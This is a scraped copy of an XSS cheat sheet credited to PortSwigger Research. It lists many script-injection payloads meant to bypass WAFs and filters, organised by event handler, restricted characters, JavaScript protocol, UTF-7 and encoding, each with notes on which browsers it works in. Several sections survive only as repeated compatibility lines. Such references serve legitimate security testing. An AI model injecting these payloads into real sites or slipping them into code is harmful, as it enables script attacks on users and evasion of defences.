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Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

You can download a PDF version of the XSS cheat sheet.

This is a PortSwigger Research project. Follow us on Twitter to receive updates.

This cheat sheet is regularly updated in 2024. Last updated: Tue, 11 Jun 2024 07:19:21 +0000.

Table of contents
Event handlers
    No user interaction
    User interaction required
Consuming tags
File upload attacks
Restricted characters
Frameworks
Protocols
Other useful attributes
Special tags
Encoding
Obfuscation
Client side template injection
    VueJS reflected
    AngularJS sandbox escapes reflected
    AngularJS sandbox escapes DOM
    AngularJS CSP bypasses
Scriptless attacks
Polyglots
WAF bypass global objects
Content types
Response content types
Impossible labs
Prototype pollution
Classic vectors (XSS crypt)

Event handlers

Event handlers that do not require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterscriptexecute

Fires after script is executed

<xss onafterscriptexecute=alert(1)><script>1</script>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onanimationcancel

Fires when a CSS animation cancels

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforeprint

Fires before the page is printed

<body onbeforeprint=console.log(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforescriptexecute

Fires before script is executed

<xss onbeforescriptexecute=alert(1)><script>1</script>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforeunload
onbegin

Fires when a svg animation begins

<svg><animate onbegin=alert(1) attributeName=x dur=1s>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncanplay

Fires if the resource can be played

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncuechange
ondurationchange
onend

Fires when a svg animation ends

<svg><animate onend=alert(1) attributeName=x dur=1s>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onended

Fires when the resource is finished playing

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onerror

Fires when the resource fails to load or causes an error

<audio src/onerror=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocus

Fires when the element has focus

<a id=x tabindex=1 onfocus=alert(1)></a>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocus(autofocus)

Fires when a element has focus and the autofocus attribute is used to focus automatically.

<xss onfocus=alert(1) autofocus tabindex=1>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocusin

Fires when the element has focus

<a id=x tabindex=1 onfocusin=alert(1)></a>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onhashchange

Fires if the hash changes

<body onhashchange="print()">
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onload

Fires when the element is loaded

<body onload=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onloadeddata

Fires when the first frame is loaded

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onloadedmetadata
onloadstart

Triggered video is loaded

<video onloadstart="alert(1)"><source></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmessage

Fires when message event is received from a postMessage call

<body onmessage=print()>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpageshow

Fires when the page is shown

<body onpageshow=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onplay

Fires when the resource is played

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onplaying
onpopstate

Fires when the history changes

<body onpopstate=print()>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onprogress

Fires when the video/audio begins downloading

<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onrepeat

Fires when a svg animation repeats

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onresize

Fires when the window is resized

<body onresize="print()">
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onscroll

Fires when the page scrolls

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onscrollend

Fires when the scrolling to the end of the element

<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onsuspend

Fires when the video/audio when the data loading is suspended

<audio controls onsuspend=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontimeupdate
ontoggle

Fires when the details tag is expanded

<details ontoggle=alert(1) open>test</details>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontransitioncancel

Fires when a CSS transition cancels

<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ontransitionend

Fires when a CSS transition ends

<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
ontransitionrun

Fires when a CSS transition begins

<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=print()></xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ontransitionstart

Fires when a CSS transition starts

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onunhandledrejection

Fires when a promise isn't handled

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onunload
onwebkitanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onwebkitanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitplaybacktargetavailabilitychanged

Fires when the availability of an AirPlay playback target changes

<audio onwebkitplaybacktargetavailabilitychanged=alert(1)>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkittransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari

Event handlers that do require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterprint

Fires after the page is printed

<body onafterprint=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onauxclick

Fires when right clicking or using the middle button of the mouse

<input onauxclick=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforecopy

Requires you copy a piece of text

<a onbeforecopy="alert(1)" contenteditable>test</a>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforecut

Requires you cut a piece of text

<a onbeforecut="alert(1)" contenteditable>test</a>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforeinput

Fires when the value of the element is about to be modified

<xss contenteditable onbeforeinput=alert(1)>test
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforetoggle

Fires before the a popop element is toggled

<button popovertarget=x>Click me</button><xss onbeforetoggle=alert(1) popover id=x>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onblur

Fires when an element loses focus

<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onchange

Requires as change of value

<input onchange=alert(1) value=xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onclick

Requires a click of the element

<xss onclick="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onclose

Fires when a dialog is closed

<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncontextmenu

Triggered when right clicking to show the context menu

<xss oncontextmenu="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncopy

Requires you copy a piece of text

<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncut

Requires you cut a piece of text

<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondblclick

Triggered when double clicking the element

<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondrag

Triggered dragging the element

<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragend

Triggered dragging is finished on the element

<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragenter

Requires a mouse drag

<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragexit

Triggered when dragging the element

<xss draggable="true" ondragexit="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ondragleave

Requires a mouse drag

<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragover

Triggered dragging over an element

<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable style=display:block>drop here</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragstart

Requires a mouse drag

<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondrop

Triggered dropping a draggable element

<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable style=display:block>drop here</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocusout

Fires when an element loses focus

<xss onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xss><input value=clickme>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onformdata

Triggered when a form is submitted

<form onformdata="alert(1)"><button>Click</button></form>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfullscreenchange

Fires when a video changes full screen status

<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
oninput

Requires as change of value

<input oninput=alert(1) value=xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeydown

Triggered when a key is pressed

<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeypress

Triggered when a key is pressed

<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeyup

Triggered when a key is released

<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousedown

Triggered when the mouse is pressed

<xss onmousedown="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseenter

Triggered when the mouse is hovered over the element

<xss onmouseenter="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseleave

Triggered when the mouse is moved away from the element

<xss onmouseleave="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousemove

Requires mouse movement

<xss onmousemove="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseout

Triggered when the mouse is moved away from the element

<xss onmouseout="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseover

Requires a hover over the element

<xss onmouseover="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseup

Triggered when the mouse button is released

<xss onmouseup="alert(1)" style=display:block>test</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousewheel

Fires when the mousewheel scrolls

<xss onmousewheel=alert(1) style=display:block>requires scrolling
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onmozfullscreenchange

Fires when a video changes full screen status

<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onpagehide
onpaste

Requires you paste a piece of text

<a onpaste="alert(1)" contenteditable>test</a>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpause

Requires clicking the element to pause

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointercancel

You need to make a selection and drag the text using a laptop touchpad.

<xss onpointercancel=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerdown

Fires when the mouse down

<xss onpointerdown=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerenter

Fires when the mouseenter

<xss onpointerenter=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerleave

Fires when the mouseleave

<xss onpointerleave=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointermove

Fires when the mouse move

<xss onpointermove=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerout

Fires when the mouse out

<xss onpointerout=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerover

Fires when the mouseover

<xss onpointerover=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerrawupdate

Fires when the pointer changes

<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onpointerup

Fires when the mouse up

<xss onpointerup=alert(1) style=display:block>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onratechange

Fires when the speed of the video changes

<audio controls autoplay onratechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onreset

Requires a click

<form onreset=alert(1)><input type=reset>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onsearch

Fires when a form is submitted and the input has a type attribute of search

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onseeked

Requires clicking the element timeline

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onseeking

Requires clicking the element timeline

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onselect

Requires you select text

<input onselect=alert(1) value="XSS" autofocus>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onselectionchange

Fires when text selection is changed on the page

<body onselectionchange=alert(1)>select some text
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onselectstart

Fires when beginning a text selection

<body onselectstart=alert(1)>select some text
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onshow
onsubmit

Requires a form submission

<form onsubmit=alert(1)><input type=submit>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontoggle(popover)

Fires when the a popop element is toggled

<button popovertarget=x>Click me</button><xss ontoggle=alert(1) popover id=x>XSS</xss>
Jump to the code Link

Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
ontouchend

Fires when the touch screen, only mobile device

<body ontouchend=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontouchmove

Fires when the touch screen and move, only mobile device

<body ontouchmove=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontouchstart

Fires when the touch screen, only mobile device

<body ontouchstart=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onvolumechange
onwebkitmouseforcechanged

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcechanged=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforcedown

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcedown=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforceup

Requires a click from a laptop touchpad.

<xss onwebkitmouseforceup=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforcewillbegin

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcewillbegin=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitwillrevealbottom

Requires a click from a laptop touchpad.

<xss onwebkitwillrevealbottom=alert(1)>XSS</xss>
Jump to the code Link

Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwheel

Fires when you use the mouse wheel

<body onwheel=alert(1)>
Jump to the code Link

Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari

Consuming tags

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

File upload attacks

Works in Chrome Works in Firefox Works in Safari

Restricted characters

Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling

<script>onerror=alert;throw 1</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>
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Works in Chrome

No parentheses using exception handling and string eval on Chrome / Edge

<script>throw onerror=eval,'=alert\x281\x29'</script>
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Works in Safari

No parentheses using exception handling and string eval on Safari

<script>throw onerror=eval,'alert\x281\x29'</script>
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Works in Firefox

No parentheses using exception handling and object eval on Firefox

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
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Works in Firefox Works in Safari

No parentheses using exception handling and object eval on Firefox / Safari

<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling and location hash eval on all browsers

<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers

<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using location redirect no strings

<script>location=name</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using template strings

<script>alert`1`</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using template strings and location hash

<script>new Function`X${document.location.hash.substr`1`}`</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses or spaces, using template strings and location hash

<script>Function`X${document.location.hash.substr`1`}```</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS without greater than

<svg onload=alert(1)
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Works in Chrome Works in Firefox Works in Safari

XSS without greater using a HTML comment

<svg onload=alert(1)<!--
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Works in Chrome Works in Firefox Works in Safari

Array based destructuring using onerror

<script>throw[onerror]=[alert],1</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Destructuring using default values and onerror

<script>var{haha:onerror=alert}=0;throw 1</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal

<script>window.name='javascript:alert(1)';function blah(){} blah(""+{a:location=name}+"")</script>
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Works in Chrome Works in Firefox Works in Safari

Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class

<script>window.name='javascript:alert(1)';function blah(){} blah(""+new class b{toString=e=>location=name}+"")</script>
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Frameworks

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Protocols

Works in Chrome Works in Firefox Works in Safari

Iframe src attribute JavaScript protocol

<iframe src="javascript:alert(1)">
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Works in Firefox

Object data attribute with JavaScript protocol

<object data="javascript:alert(1)">
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Works in Firefox

Embed src attribute with JavaScript protocol

<embed src="javascript:alert(1)">
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Works in Chrome Works in Firefox Works in Safari

A standard JavaScript protocol

<a href="javascript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari

The protocol is not case sensitive

<a href="JaVaScript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari

Characters \x01-\x20 are allowed before the protocol

<a href=" javascript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari

Characters \x09,\x0a,\x0d are allowed inside the protocol

<a href="javas cript:alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari

Characters \x09,\x0a,\x0d are allowed after protocol name before the colon

<a href="javascript :alert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Firefox

SVG script href attribute without closing script tag

<svg><script href="data:text/javascript,alert(1)" />
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Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Safari Works in Safari

Base tag with JavaScript protocol rewriting relative URLS

<base href="javascript:/a/-alert(1)///////"><a href=../lol/safari.html>test</a>
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Works in Firefox

MathML makes any tag clickable

<math><x href="javascript:alert(1)">blah
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

JavaScript protocol with new line

<a href="javascript://%0aalert(1)">XSS</a>
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Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Chrome Works in Firefox Works in Chrome Works in Chrome Works in Chrome Works in Chrome Works in Chrome Works in Chrome Works in Safari

Assignable protocol with location

<script>location.protocol='javascript'</script>
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Works in Chrome Works in Safari Works in Chrome

Other useful attributes

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Click a submit element from anywhere on the page, even outside the form

<form action="javascript:alert(1)"><input type=submit id=x></form><label for=x>XSS</label>
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Works in Firefox

Hidden inputs: Access key attributes can enable XSS on normally unexploitable elements

<input type="hidden" accesskey="X" onclick="alert(1)"> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
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Works in Chrome Works in Chrome Works in Firefox Works in Safari

Download attribute can save a copy of the current webpage

<a href=# download="filename.html">Test</a>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Special tags

Works in Chrome Works in Firefox Works in Safari

UTF-7 BOM characters (Has to be at the start of the document) 1

+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 2

+/v9 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 3

+/v+ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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UTF-7 BOM characters (Has to be at the start of the document) 4

+/v/ +ADw-script+AD4-alert(1)+ADw-/script+AD4-
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Disable JavaScript via iframe sandbox

<iframe sandbox src="//portswigger-labs.net"></iframe>
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Works in Chrome Works in Firefox Works in Safari

Encoding

Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

Unicode escapes ES6 style

<script>\u{61}lert(1)</script>
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Works in Chrome Works in Firefox Works in Safari

Unicode escapes ES6 style zero padded

